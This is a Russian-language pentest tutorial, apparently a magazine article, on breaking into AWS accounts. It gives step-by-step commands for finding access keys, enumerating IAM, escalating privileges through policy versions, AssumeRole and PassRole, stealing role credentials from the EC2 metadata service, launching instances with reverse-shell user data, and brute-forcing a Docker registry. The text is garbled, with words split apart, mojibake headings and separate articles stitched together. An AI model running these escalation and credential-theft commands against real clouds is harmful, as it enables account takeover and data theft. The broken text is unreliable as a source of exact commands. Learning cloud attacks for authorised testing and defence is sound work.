Струк тура Elastic Compute Cloud

Рас смот рим все эти сос тавля ющие по поряд ку.
1. Опе раци онная сис тема — на EC2 мож но уста новить прак тичес ки любую

ОС.
2. Дос туп — спо собы, с помощью которых мож но получить дос туп к EC2 через

интернет.
3. Ад рес — IP-адрес, по которо му откли кает ся инстанс.
4. Хра нили ще — мес то, где хра нят ся дан ные инстан са.
5. Груп пы безопас ности — набор пра вил, которые при меня ются к EC2, они

поз воля ют кон тро лиро вать вхо дящий и исхо дящий тра фик.
6. VPC (virtual private cloud) — изо лиро ван ная облачная сеть, в которой может

находить ся наш инстанс.

INITIAL ACCESS

Есть мно жес тво спо собов про ник нуть в обла ко заказ чика пен теста. Мы будем
дей ство вать через AWS CLI — коман дную стро ку для работы с AWS. Нам пот -
ребу ются спе циаль ный иден тифика тор сек ретно го клю ча и сам сек ретный
ключ, пос ле пре дос тавле ния которых мы получим воз можность работать
с обла ком. В качес тве точ ки вхо да будем исполь зовать IAM и EC2.

Ñáîð èíôîðìàöèè

На компь юте рах, вза имо дей ству ющих с облачны ми сер висами Amazon, обыч но
при сутс тву ет файл , в котором находит ся иден тифика тор сек -

ретно го клю ча дос тупа и сам этот ключ. Стан дар тные пути рас положе ния фай ла
сле дующие. В Linux:

credentials

/root/.aws/credentials
/home/user/.aws/credentials

В Windows:

aws%userprofile%\. \credentials

Иден тифика тор сек ретно го клю ча и сам сек ретный ключ мож но обна ружить
в пуб личных репози тори ях.

Очень час то нуж ные нам клю чи могут лежать в перемен ных окру жения. Обя -
затель но про веряй и их:

set
:dir env

Get-ChildItem Env: | ft Key,Value

Воз можно, у тебя не получит ся обна ружить столь чувс тви тель ные дан ные
такими прос тыми метода ми. Перед тес тирова нием ты, ско рее все го, успел
обна ружить при над лежащие заказ чику под домены, репози тории, фай лы.
В таком слу чае поп робуй поис кать во всех этих источни ках сле дующие харак -
терные стро ки:

aws_access_key_id
aws_secret_access_key
aws_session_token
bucket_name
aws_access_key
aws_secret_key
S3_BUCKET
S3_ACCESS_KEY_ID
S3_SECRET_ACCESS_KEY
S3_SECRET_KEY
S3_ENDPOINT
list_aws_accounts
metadata_service_timeout
metadata_service_num_attempts

ÏÎÄÊËÞ×ÅÍÈÅ

Пос ле того как ты нашел иден тифика тор и сам сек ретный ключ, нас тало вре мя
под клю чать ся к AWS CLI. Для это го исполь зуем PowerShell:

aws configure

Что бы узнать, под какой учет ной записью ты под клю чил ся к сис теме, в Linux
исполь зует ся коман да , но в AWS такой коман ды нет. Что бы узнать свое

имя поль зовате ля, нуж но ввес ти в кон соль PowerShell сле дующую коман ду:

whoami

aws sts get-caller-identity

# Дополнительно можно указать конфигурационный профиль (если, 
допустим, получили данные не от профиля default)

aws sts get-caller-identity --profile demo

Продолжение статьи →
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В начале любого тес тирова ния на про ник новение сле дует хорошень ко
осмотреть ся и понять, нас коль ко боль шое обла ко пред сто ит про пен тестить.
Сна чала столь скру пулез ная раз ведка может показать ся бес полез ной, но,
перехо дя к сле дующим эта пам, мы уже будем рас полагать дос таточ ным объ -
емом информа ции. В начале каж дого раз дела я ука зал, для чего нам пот ребу -
ются те или иные дан ные.

Не пережи вай, механизм работы с полити ками и ролями будет понача лу
не сов сем ясен. Пос тарай ся удер жать в голове коман ды. Ког да дой дем до эта -
па повыше ния при виле гий, все вста нет на свои мес та само собой.

IAM

Ïîëüçîâàòåëè

Поль зовате ли — самая популяр ная точ ка вхо да в обла ко AWS. Имен но поль -
зователь скую учет ную запись мож но обна ружить в фай ле ,

а так же в пуб личных репози тори ях.

.aws/credentials

Сна чала сто ит най ти всех зарегис три рован ных в обла ке поль зовате лей:

aws iam list-users

Вы вод коман ды показы вает наличие двух поль зовате лей:  и ,
которые в даль нейшем могут сыг рать важ ную роль в тес тирова нии обла ка
на про ник новение.

mishaadmin Bob

Юзе ры могут сос тоять в груп пах, а к этим груп пам могут быть при вяза ны
кри во скон фигури рован ные полити ки. Сле дующей коман дой мы опре делим,
в каких груп пах сос тоит каж дый поль зователь:

aws iam list-groups-for-user --user-name <username>

Кро ме групп, полити ки могут быть так же при вяза ны непос редс твен но к поль -
зовате лю. Про верим, есть ли в нашем слу чае такая при вяз ка:

# Управляемые
aws iam list-attached-user-policies --user-name <username>

# Встроенные
aws iam list-user-policies --user-name <username>

Ãðóïïû

К груп пам тоже могут быть при вяза ны полити ки, спо соб ные помочь нам
на эта пе повыше ния при виле гий. Что бы уви деть все IAM-груп пы, набери в кон -
соли PowerShell сле дующее:

aws iam list-groups

Най ти при меня емые к груп пе полити ки помога ют сле дующие коман ды.
Для управля емых политик:

aws iam list-attached-group-policies --group-name <group-name>

Нап ример:

aws iam list-attached-group-policies --group-name demogroup

И для встро енных:

aws iam list-group-policies --group-name <group-name>

Нап ример:

aws iam list-group-policies --group-name demogroup

Ðîëè

Ро ли инте ресу ют нас по тем же при чинам, что и груп пы. Роли мы можем
исполь зовать в сво их инте ресах, если у нас есть при виле гия ,
о которой мы погово рим чуть поз же.

iam:PassRole

Уви деть все роли IAM мож но при помощи сле дующей коман ды:

aws iam list-roles

Вы вод коман ды показы вает, что в нашем обла ке есть роль , которая
может быть исполь зована на сер вере .

Example1
ec2.amazonaws.com

Что бы най ти полити ки, при вязан ные к этой роли, вос поль зуем ся сле дующи -
ми коман дами. Для управля емых политик:

aws iam list-attached-role-policies --role-name <role-name>

Нап ример, так:

aws iam list-attached-role-policies --role-name Example1

Для встро енных:

aws iam list-role-policies --role-name <role-name>

При мер исполь зования:

aws iam list-role-policies --role-name Example1

Ïîëèòèêè

Имен но в полити ках содер жится информа ция о пре дос тавля емых поль зовате -
лю при виле гиях. Есть очень полез ный сайт ,
на который мож но заг рузить получен ную полити ку и удоб но работать с ней,
при менять филь тры.

policysim.aws.amazon.com

При этом полити ки могут быть как встро енны ми (inline), так и управля емы -
ми (managed). Они реали зуют одни и те же фун кции: пре дос тавля ют пра ва
либо отка зыва ют в них. Отли чие встро енной полити ки зак люча ется в том, что
она дей стви тель но встро ена в груп пу, поль зовате ля или роль, к которым при -
меня ется. Появ ляет ся стро гая связь: одна полити ка — один объ ект. При уда -
лении поль зовате ля, груп пы или роли эта полити ка так же будет уда лена. Чаще
все го встро енные полити ки при меня ют, что бы гаран тирован но не пре дос -
тавить слу чай но пра ва какому-либо дру гому объ екту. Тем не менее Amazon
рекомен дует исполь зовать управля емые полити ки вмес то встро енных.

Уп равля емые полити ки чуть более удоб ны. Самое важ ное — их мож но при -
вязать к нес коль ким объ ектам сра зу. В свою оче редь, управля емые полити ки
делят ся на два типа: managed policy и customer managed policy. Пер вые
избавля ют нас от необ ходимос ти писать полити ку самос тоятель но, AWS сам
позабо тил ся об этом и пре дос тавил некото рые вари анты для самых рас -
простра нен ных слу чаев, нап ример ,

 и тому подоб ные. При этом стан дар тные полити ки

managed policy нель зя редак тировать. Вто рой тип — customer managed
policy — исполь зует ся, если тре бует ся чуть более тон кая нас трой ка при виле -
гий. В таком слу чае при дет ся соз давать полити ку самос тоятель но.

AmazonDynamoDBFullAccess
AWSCodeCommitPowerUser

Уви деть спи сок политик IAM мож но с помощью сле дующей коман ды:

aws iam list-policies

Что бы получить информа цию об опре делен ной полити ке, исполь зуй сле -
дующий син таксис:

aws iam get-policy --policy-arn <policy-arn>

Нап ример, так:

aws iam get-policy --policy-arn arn:aws:iam::aws:policy/
AdministratorAccess

Ско рее все го, в выводе пер вой или вто рой коман ды ты обра тил вни мание
на параметр . В AWS могут одновре мен но сущес тво вать
нес коль ко отли чающих ся друг от дру га вер сий одной и той же полити ки.
Допус тим, полити ка пер вой вер сии пре дос тавля ла пол ный дос туп к любым
ресур сам, а полити ка вто рой вер сии уже огра ничи вала нас в чем-то. С этим
свя зан один из век торов повыше ния при виле гий, который мы тоже рас смот -
рим. Обя затель но обра ти вни мание на параметр , воз можно, что

полити ка «мер твая» и ее нель зя ни к чему при вязать.

DefaultVersionId

IsAttachable

Что бы получить информа цию о вер сиях ука зан ной полити ки, исполь зуй сле -
дующую коман ду:

aws iam list-policy-versions --policy-arn <policy-arn>

Нап ример, так:

aws iam list-policy-versions --policy-arn arn:aws:iam::aws:policy/
AdministratorAccess

По лучить информа цию об опре делен ной вер сии ука зан ной полити ки мож но
таким обра зом:

aws iam get-policy-version --policy-arn <policy-arn> --version-id 
<version-id>

При мер исполь зования этой коман ды:

 v1
aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/
AdministratorAccess --version-id

Эта полити ка пре дос тавля ет воз можность любых дей ствий на любых ресур сах
( , , ). Так же мы можем уви деть, какие

пра ва дает кон крет ному объ екту ука зан ная полити ка:

Action: * Resource: * Effect: Allow

aws iam get-user-policy --user-name <user-name> --policy-name <
policy-name>

При мер исполь зования коман ды:

aws iam get-user-policy --user-name mishaadmin --policy-name 
AdministratorAccess

Для груп повой полити ки исполь зует ся сле дующий син таксис:

aws iam get-group-policy --group-name <group-name> --policy-name <
policy-name

Нап ример, так:

aws iam get-role-policy --role-name <role-name> --policy-name <
policy-name>

Как видим, наш мно гоува жаемый адми нис тра тор обла ка  име ет
неог раничен ные воз можнос ти.

mishaadmin

EC2

EC2 — рабочая лошад ка обла ка. Это вир туаль ная машина, на которой могут
работать сер висы или прос то хра нить ся инте рес ные дан ные. Ко все му про чему
мы можем исполь зовать EC2 как век тор повыше ния при виле гий.

Для начала нам нуж но получить информа цию обо всех рас положен ных
в обла ке инстан сах:

# Найти все экземпляры
   aws ec2 describe-instances

# Найти экземпляры в определенном регионе
   aws ec2 describe-instances --region us-east-2

# Найти экземпляры в определенном VPC
   aws ec2 describe-instances --filters "Name=vpc-id, 

Values=vpc-0231443b9eecdb617"

# Найти экземпляры в определенной подсети (идентификаторы 
подсетей уникальны, поэтому указываем подсеть интересующего VPC)
   aws ec2 describe-instances --filters "Name=subnet-id, 

Values=subnet-0ac4b8aa82d7ab459"

Вы пол нив эти коман ды, мы получим очень длин ный спи сок, подоб ный тому,
что показан на сле дующем рисун ке.

Сто ит обра тить вни мание на . Если у инстан са

име ется пуб личный IP-адрес, то к нему воз можно под клю чить ся извне. Если же
у него лишь при ват ный айпиш ник, то сна чала пот ребу ется выяс нить, в каком
VPC он находит ся.

Public/Private IP Address

Об рати так же вни мание на параметр . Сущес тву ют раз ные

типы инстан сов, и в зависи мос ти от зна чения это го парамет ра мож но опре -
делить важ ность инстан са.

InstanceType

Что бы получить информа цию об одном опре делен ном инстан се, вос поль зуем -
ся сле дующей коман дой:

aws ec2 describe-instances --instance-ids <instance-id>

Нап ример, так:

aws ec2 describe-instances --instance-ids i-00d6e1005e5976480

Очень важ ный атри бут инстан са — . В этом атри буте сос редото чены

коман ды, которые авто мати чес ки выпол няют ся при запус ке либо при перезаг -
рузке ЕС2. Очень час то в этом атри буте могут хра нить ся поль зователь ские
учет ные дан ные. Поп робу ем получить информа цию о дан ном атри буте:

UserData

aws ec2 describe-instance-attribute --attribute userData 
--instance-id <instance-id>

При мер исполь зования:

aws ec2 describe-instance-attribute --attribute userData 
--instance-id i-00d6e1005e5976480

По лучен ные дан ные обыч но хра нят ся в зашиф рован ном виде. Для даль нейше -
го исполь зования их сле дует рас шифро вать:

[System.Text.Encoding]::UTF8.GetString([System.Convert]::
FromBase64String(
"ZWNobyBNeVVuaEBja2FibGVQYXNzVzByZCEgfCBzc2ggcm9vdEBlYzJpbnN0YW5jZ
SA="
))

Что бы уви деть, какие про фили при вяза ны к инстан сам, вос поль зуем ся сле -
дующей коман дой:

aws ec2 describe-iam-instance-profile-associations

Продолжение статьи →
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За кон чив со сбо ром информа ции, ты уже будешь в сос тоянии экс плу ати ровать
ошиб ки кон фигура ции, повышая свои при виле гии. Явных адми нис тра торов
домена, как в Active Directory, здесь нет. Обя затель но изу чи спи сок всех групп
обла ка и попытай ся пред положить, какая из них может обла дать высоки ми
при виле гиями.

Ре комен дую отталки вать ся от политик: наша цель — получить неог раничен -
ный дос туп к мак сималь ному количес тву ресур сов. Для это го подой дет
полити ка с , , .Action: * Resource: * Effect: Allow

IAM

IAM пре дос тавля ет сис темным адми нис тра торам неверо ятно широкие воз -
можнос ти, и, как следс твие, век торов ата ки рож дает ся тьма. Я пос тарал ся
выделить самые инте рес ные на мой взгляд.

iam:SetDefaultPolicyVersion

Пред положим, ты выяс нил, что в иссле дуемом обла ке есть нес коль ко вер сий
одной полити ки. При этом пер вая вер сия дает чуть более рас ширен ные воз -
можнос ти, чем вто рая. В таком слу чае, имея при виле гию 

, мы можем сме нить вер сию полити ки на тре -

буемую для нас. Раз берем пос ледова тель ность дей ствий на кон крет ном при -
мере.

iam:
SetDefaultPolicyVersion

К нашему поль зовате лю  при вяза на полити ка ,

которая пре дос тавля ет пра во , а так же

, которая поз воля ет выпол нять любые дей ствия на всех поль -
зовате лях. Вро де бы неп лохо? Но нам это го недос таточ но.

PrivEsc1 ChngPolicyVersion
iam:SetDefaultPolicyVersion

PolicyToChange

![](https://static.xakep.ru/images/
5d16c44634828e55b1ec384601b0e913/27722/img17.png)

Мы видим, что у полити ки  име ется пер вая вер сия:PolicyToChange

aws iam list-policy-versions --policy-arn arn:aws:iam::
184194106212:policy/PolicyToChange

Изу чаем эту пер вую вер сию:

 v1
aws iam get-policy-version --policy-arn arn:aws:iam::184194106212:
policy/PolicyToChange --version-id

Нес ложно заметить, что в этой вер сии изме нен параметр . Так как у

нас есть при виле гия , мы можем изме нить

вер сию:

Resource
iam:SetDefaultPolicyVersion

 v1
aws iam set-default-policy-version --policy-arn arn:aws:iam::
184194106212:policy/PolicyToChange --version-id

Нуж ные при виле гии получе ны. Нас лажда емся неог раничен ным дос тупом.

iam:CreatePolicyVersion

Эта при виле гия поз воля ет соз давать новую вер сию опре делен ной полити ки.
Если у нас есть дос туп к объ екту, к которо му при вяза на полити ка, то мы можем
повысить свои при виле гии. Для это го мож но вос поль зовать ся сле дующим
алго рит мом.

Соз даем файл и называ ем его :AdminPolicy.json

{
   "Version": "2012-10-17",
   "Statement": [
       {
           "Effect": "Allow",
           "Action": [
               "*"
               ],
           "Resource": [
               "*"
               ],
           }
       }
   ]

}

Эта полити ка раз реша ет абсо лют но все дей ствия на абсо лют но всех ресур сах.
Теперь заводим в AWS эту полити ку, обновляя сущес тву ющую :MyPolicy

aws iam create-policy-version --policy-arn arn:aws:iam::
123456789012:policy/MyPolicy --policy-document file://AdminPolicy.
json --set-as-default

В целом порядок дей ствий таков: сна чала нуж но попытать ся получить кон троль
над учет ной записью любого поль зовате ля, к которой при вяза на хоть
какая-нибудь полити ка. Пос ле это го мы прос то заводим новую полити ку
в AWS, обновляя сущес тву ющую. В резуль тате чего объ ект, который у тебя
под кон тро лем, получа ет неог раничен ные пол номочия.

sts:AssumeRole

При виле гия  поз воля ет нам получать дос туп к ресур сам,

к которым он обыч но отсутс тву ет. В ответ на наш зап рос AWS вер нет нам вре -
мен ные учет ные дан ные опре делен ной роли. Эта опе рация абсо лют но
легитим ная и некото рое вре мя поз воля ет работать от име ни выб ранной нами
роли. Для зло упот ребле ния дан ной кон фигура цией тре бует ся:

sts:AssumeRole

на личие у поль зовате ля полити ки, поз воля ющей вызывать 
;

• sts:

AssumeRole

на личие роли, на которую дан ный поль зователь может выз вать 
.

• sts:

AssumeRole

Пер вым делом нам нуж но отыс кать поль зовате ля с полити кой, которая раз -
реша ет ему . Далее находим роль, которую он может взять.
Про веря ем полити ки, при вязан ные к этой роли. Если все най ден ное нам под -
ходит — получа ем вре мен ные дан ные для дос тупа к нуж ным ресур сам.
А теперь по поряд ку.

sts:AssumeRole

Мы видим, что к нашему поль зовате лю при вяза на полити ка, пре дос тавля -
ющая пра во  на . Это озна чает, что мы можем

при нять на себя прак тичес ки любую роль:

sts:AssumeRole Resource: *

aws iam get-policy-version --policy-arn arn:aws:iam::184194106212:
policy/stsAssumePolicy --version-id v1

Пусть имя нашего текуще го поль зовате ля . Ищем роль, в парамет ре

 которой написа но , а зна чение  име ет вид 
:

nonpriv
Principal nonpriv Action: sts:
AssumeRole

aws iam list-roles

Роль  нам, воз можно, под ходит. Изу чи ее, прос мотри при вязан -

ные полити ки, выяс ни, что они дают. Зап рашива ем вре мен ный токен этой
роли, получа ем кре ды для дос тупа:

Full-Access

aws sts assume-role --role-arn <RoleArn> --role-session-name <
SessionName>
aws sts assume-role --role-arn arn:aws:iam::184194106212:role/
Full-Access --role-session-name awscli

Зна чения, которые я при вел в при мерах, ненас тоящие. Они нуж ны, что бы луч -
ше понять син таксис команд. В реаль ной обста нов ке ты получишь что-то
подоб ное это му.

При меня ем получен ную информа цию:

# Windows
   set AWS_ACCESS_KEY_ID=123MISHKA
   set AWS_SECRET_ACCESS_KEY=KeyAccess
   set AWS_SESSION_TOKEN=SuperSecretTOken
   aws sts get-caller-identity # Проверяем, что все OK (должен 

измениться юзер)
# Linux
   export AWS_ACCESS_KEY_ID=123MISHKA
   export AWS_SECRET_ACCESS_KEY=KeyAccess
   export AWS_SESSION_TOKEN=SuperSecretTOken
   aws sts get-caller-identity # Проверяем, что все OK (должен 

измениться юзер)

Пос ле это го мы можем получать дос туп к ресур сам с пра вами этой роли.

Àâòîìàòè÷åñêèå ïðîâåðêè

Су щес тву ют инс тру мен ты, поз воля ющие ска ниро вать полити ки и искать век -
торы повыше ния при виле гий. Один из них — .aws_escalate.py

Сто ит отме тить, что само повыше ние при виле гий через IAM — про цеду ра
нес ложная. Допус тим:

iam:UpdateLoginProfile — позволяет сбросить пароль пользователя
   aws iam update-login-profile --user-name Bob --password <

password>

iam:
AttachUserPolicy — позволяет привязать определенную политику к 
пользователю
   aws iam attach-user-policy --policy-arn arn:aws:iam::aws:

policy/AdministratorAccess --user-name Alice

Са мое глав ное — понять, что всег да тре бует ся перечис лять полити ки. Чаще
все го уяз вимая кон фигура ция находит ся имен но там. А теперь перей дем
к дру гим век торам атак.

EC2

iam:PassRole + äîñòóï ê èíñòàíñó

Рас смот рим сле дующий стан дар тный сце нарий.

Для его реали зации нам пот ребу ется най ти любого поль зовате ля, име юще го
дос туп к EC2, а так же объ ект, обла дающий пра вами . Бла года ря

это му смо жем при менить роль к инстан су, зай ти на него и отту да получить
при виле гиро ван ный дос туп к сер висам.

iam:PassRole

Об наружи ваем полити ку, пре дос тавля ющую нам :iam:PassRole

aws iam get-policy-version --policy-arn arn:aws:iam::185194106212:
policy/User-EC2-PassRole --version-id v1

Ви дим, что полити ка дает пра во , которое поз воля ет поль зовате -
лю при менять роль к инстан су. Теперь смот рим на  и видим, что

поль зователь может при менять любые роли. С помощью дан ной при виле гии
новую роль соз дать мы не смо жем, но в сос тоянии при менить сущес тву ющую.

iam:PassRole
Resource

Пе рек люча емся на инстанс и получа ем его ID:

curl http://169.254.169.254/latest/meta-data/instance-id

На ходим все роли, которые воз можно при вязать к инстан су:

aws iam list-instance-profiles

Так как у нас есть пра ва  на все роли, мы можем при вязать роль
к опре делен ному инстан су:

iam:PassRole

aws ec2 associate-iam-instance-profile --instance-id <InstanceID> 
--iam-instance-profile Name=<ProfileName>

# Ex
   aws ec2 associate-iam-instance-profile --instance-id 

i-087b67673d2fe2654 --iam-instance-profile Name=
EC2-Administrator-Role

Те перь с инстан са можем получать дос туп к дру гим ресур сам. Нап ример:

aws s3 ls

iam:PassRole + EC2:RunInstances

Этот век тор чем-то похож на пре дыду щий, но в дан ном слу чае у нас появ ляет -
ся воз можность соз дать новый инстанс. У каж дого инстан са есть сер вис
метадан ных (IMDS — instance metadata service). Будем счи тать, что это оче ред -
ная служ ба, хра нящая кучу инте рес ных дан ных, из которой мож но получить
токены при вязан ной роли.

На сам инстанс мож но зай ти раз личны ми спо соба ми. Один из них — соз -
дать или импорти ровать ключ SSH и свя зать его с экзем пля ром EC2 при соз -
дании, что бы мож но было под клю чить ся к инстан су по SSH. Дру гой вари ант —
ука зать в поль зователь ских дан ных EC2 скрипт, который выпол нится и пре дос -
тавит нам дос туп. Этим скрип том может быть какой-нибудь реверс-шелл.

Для получе ния дос тупа с исполь зовани ем клю ча SSH исполь зует ся такой
скрипт:

aws ec2 run-instances –image-id <образ> –instance-type <тип 
инстанса> –iam-instance-profile Name=<имя привязываемой роли> –
key-name <ssh key> –security-group-ids <security groups>
# Ex
aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.
micro –iam-instance-profile Name=iam-full-access-ip –key-name 
my_ssh_key –security-group-ids sg-123456

А вот сце нарий для исполне ния полез ной наг рузки:

aws ec2 run-instances –image-id <образ> –instance-type <тип 
инстанса> –iam-instance-profile Name=<имя привязываемой роли>p –
user-data <реверс-шелл в файле>
# Ex
aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.
micro –iam-instance-profile Name=iam-full-access-ip –user-data 
file://script/with/reverse/shell.sh

Пос ле того как мы запус тили инстанс, можем обра щать ся к IMDS.

Metadata

У EC2 есть так называ емый IMDS — instance metadata service. Сущес тву ет два
эндпо инта, с исполь зовани ем которых мы можем получить дос туп к этой
информа ции:  и ниг де не опи сан ный . При -
чем у IMDS есть раз ные вер сии:

169.254.169.254 localhost:1338

IMDSv1 получа ет дан ные через обыч ный ;• curl

IMDSv2 получа ет дан ные толь ко с помощью спе циаль ного токена.•

По лучить дос туп к IMDS мож но пря миком из EC2:

# IMDSv1
   curl http://169.254.169.254/latest/meta-data

   curl http://localhost:1338/latest/meta-data

# IMDSv2
   curl  PUT  
   

 

TOKEN=` -X "http://169.254.169.254/latest/api/token"
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H
"X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/
latest/meta-data/

   curl  PUT   
  

 

TOKEN=` -X "http://localhost:1338/latest/api/token" -H
"X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H
"X-aws-ec2-metadata-token: $TOKEN" -v http://localhost:1338/
latest/meta-data/

Об рати вни мание на пап ку , в которой лежит мно -

жес тво дру гих папок. Про гуляв шись по этим пап кам, мож но най ти инте рес ную
информа цию (клю чи дос тупа как минимум).

/identity-credentials/

Так же сто ит про верить, нет ли клю чей дос тупа, по сле дующим путям:

# IMDSv1
   curl http://169.254.169.254/latest/meta-data/iam/
   curl http://169.254.169.254/latest/meta-data/iam/security-

credentials/

   curl http://localhost:1338/latest/meta-data/iam/
   curl http://localhost:1338/latest/meta-data/iam/security-

credentials/

# IMDSv2
   curl  PUT  
   

 

TOKEN=` -X "http://169.254.169.254/latest/api/token"
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H
"X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/
latest/meta-data/iam/
   curl  PUT  
   

 

TOKEN=` -X "http://169.254.169.254/latest/api/token"
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H
"X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/
latest/meta-data/iam/security-credentials/

   curl  PUT   
  

 

TOKEN=` -X "http://localhost:1338/latest/api/token" -H
"X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H
"X-aws-ec2-metadata-token: $TOKEN" -v http://localhost:1338/
latest/meta-data/iam/
   curl  PUT   

  
 

TOKEN=` -X "http://localhost:1338/latest/api/token" -H
"X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H
"X-aws-ec2-metadata-token: $TOKEN" -v http://localhost:1338/
latest/meta-data/iam/security-credentials/

Бы вает, «кур ление»  ничего не дает. В таком слу чае

сле дует пытать ся най ти или подоб рать име на ролей, которые при сутс тву ют
в обла ке. Пос ле того как ты получил воз можные име на ролей, поп робуй дос -
тать клю чи дос тупа:

/security-credentials/

# IMDSv1
   curl http://169.254.169.254/latest/meta-data/iam/security-

credentials/<your_role_name_here>/
# Ex
   curl http://169.254.169.254/latest/meta-data/iam/security-

credentials/EC2-superrole/
   curl http://localhost:1338/latest/meta-data/iam/security-

credentials/<your_role_name_here>/
# Ex
       curl http://localhost:1338/latest/meta-data/iam/security-

credentials/EC2-superrole/
# IMDSv2
   curl  PUT  
   

 

TOKEN=` -X "http://169.254.169.254/latest/api/token"
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H
"X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/
latest/meta-data/iam/security-credentials/<your_role_name_here>/
# Ex
   curl  PUT  
   

 

TOKEN=` -X "http://169.254.169.254/latest/api/token"
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H
"X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/
latest/meta-data/iam/security-credentials/EC2-superrole/
   curl  PUT   

  
 

TOKEN=` -X "http://localhost:1338/latest/api/token" -H
"X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H
"X-aws-ec2-metadata-token: $TOKEN" -v http://localhost:1338/
latest/meta-data/iam/security-credentials/<your_role_name_here>/
# Ex
   curl  PUT   

  
 

TOKEN=` -X "http://localhost:1338/latest/api/token" -H
"X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H
"X-aws-ec2-metadata-token: $TOKEN" -v http://localhost:1338/
latest/meta-data/iam/security-credentials/EC2-superrole/

UserData

В этой пап ке хра нит ся информа ция, свя зан ная с поль зователь ски ми дан ными.
Это могут быть как перемен ные окру жения, так и некото рые фай лы. Вся
информа ция в пап ке зашиф рована с исполь зовани ем Base64. Получить дос туп
к ней мож но сле дующим обра зом:

# IMDSv1
   curl http://169.254.169.254/latest/user-data/
   curl http://localhost:1338/latest/user-data/

# IMDSv2
   curl  PUT  
   

 

TOKEN=` -X "http://169.254.169.254/latest/api/token"
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H
"X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/
latest/user-data/
   curl  PUT   

  
 

TOKEN=` -X "http://localhost:1338/latest/api/token" -H
"X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H
"X-aws-ec2-metadata-token: $TOKEN" -v http://localhost:1338/
latest/user-data/

Из редка в этой пап ке мож но встре тить дан ные для вхо да, на которые так же
сле дует обра щать вни мание.

ÂÛÂÎÄÛ

Проб лемы безопас ности облачных инфраструк тур воз ника ют на повес тке дня
все чаще и чаще. Любая инфраструк тура AWS так же тре бует пери оди чес ких
ауди тов безопас ности и ана лиза защищен ности. Даже самые прос тые
и широко исполь зуемые сер висы могут быть уяз вимы. Пен тест поз воля ет вов -
ремя выяс нить все недоче ты в перимет ре безопас ности и устра нить их.

Ес ли у тебя оста лись воп росы по матери алам статьи, я буду рад отве тить
на них: мои кон такты ищи в про филе.

https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py
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Пред положим, ты уже уме ешь повышать
при виле гии в сре де AWS. Но туда ведь
нуж но еще как-то попасть! Фай лы
.credentials в репози тори ях и дру гие прос -
тые ошиб ки раз работ чиков встре чают ся
все реже и реже. Что еще мож но поис кать?
Об этом и погово рим сегод ня.

В сво ей  я рас ска зывал о самых прос тых и основных темах —
IAM и EC2. Но тем вре менем AWS — это чуть боль ше двух сотен раз ных сер -
висов.

прош лой статье

Сей час все боль ше ком паний начина ют исполь зовать кон тей нер ные сре ды.
AWS, сле дуя за спро сом, пред лага ет нес коль ко сер висов для работы с Docker
или Kubernetes. У клас теров в AWS есть некото рые отли чия от обыч ных, но они
край не нез начитель ны.

Обыч ная сис тема и AWS

Сле ва обыч ная сис тема, спра ва то же самое, но в AWS. Вез де при сутс тву ет
Docker Engine — собс твен но, сам дви жок, обес печива ющий работос пособ -
ность кон тей нер ной сре ды. И реестр — спе циаль ное мес то, отку да мож но ска -
чать образ докера.

WWW

Под робнее о Docker и Kubernetes:
•The Illustrated Children’s Guide to Kubernetes
•Xakep #196. Все о Docker

ELASTIC CONTAINER REGISTRY (ECR)
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В ECR хра нят ся обра зы кон тей неров. Они помога ют раз работ чикам в управле -
нии, раз верты вании и нас трой ке инфраструк туры. В подоб ных мес тах при пен -
тесте осо бо не раз гуля ешь ся, но очень час то не самые вни матель ные кодеры
могут оста вить в обра зе какие-нибудь кон фиден циаль ные дан ные, поэто му
обя затель но сто ит про верять в том чис ле и реестр.

Без учет ных дан ных наде ять ся мож но лишь на уда чу. ECR име ет URL
для дос тупа сле дующе го вида:

https://<account-id>.dkr.ecr.<region>.amazonaws.com

Нап ример:

https://184194106212.dkr.ecr.us-east-2.amazonaws.com

Воз можно, уда ча тебе улыб нется и ты получишь дос туп к реес тру.
Так же иног да на пен тесте встре чает ся работа ющая на 5000-м пор те служ ба

Docker Registry, которую пока не уме ет опре делять Nmap.

Ска ниро вание хос та с работа ющим Docker Registry при помощи Nmap

Ес ли реестр тре бует аутен тифика ции, то при попыт ке обра тить ся к нему
получим ошиб ку:

root@xtreme$> curl -k https://<IP>:5000/v2/_catalog
:[ : , :
, :[ : , : , :

, :

{"errors" {"code" "UNAUTHORIZED" "message" "authentication 
required" "detail" {"Type" "registry" "Class" "" "Name" "catalog"
"Action" "*"}]}]}

Имея на руках спи сок воз можных логинов, мож но поп робовать ата ковать брут -
форсом:

hydra -L /usr/share/brutex/wordlists/simple-users.txt  -P /usr/
share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get 
/v2/

А ког да най дешь дан ные для аутен тифика ции, сдам пить обра зы поможет
.DockerRegistryGrabber

AWS CLI

Ес ли есть дос туп к AWS CLI, то, конеч но же, получит ся дос тать на порядок
боль ше информа ции.

Пер вым делом сто ит обна ружить все репози тории:

aws ecr describe-repositories

На ходим все репози тории

Обя затель но поп робуй вста вить URL из  в бра узер. Воз можно,

повезет и аутен тифика ция для дос тупа к репози торию не пот ребу ется.

repositoryURl

Сле дующим шагом рекомен дую про верить при вязан ную полити ку.

aws ecr get-repository-policy --repository-name <RepositoryName>

При мер:

aws ecr get-repository-policy --repository-name xakepru

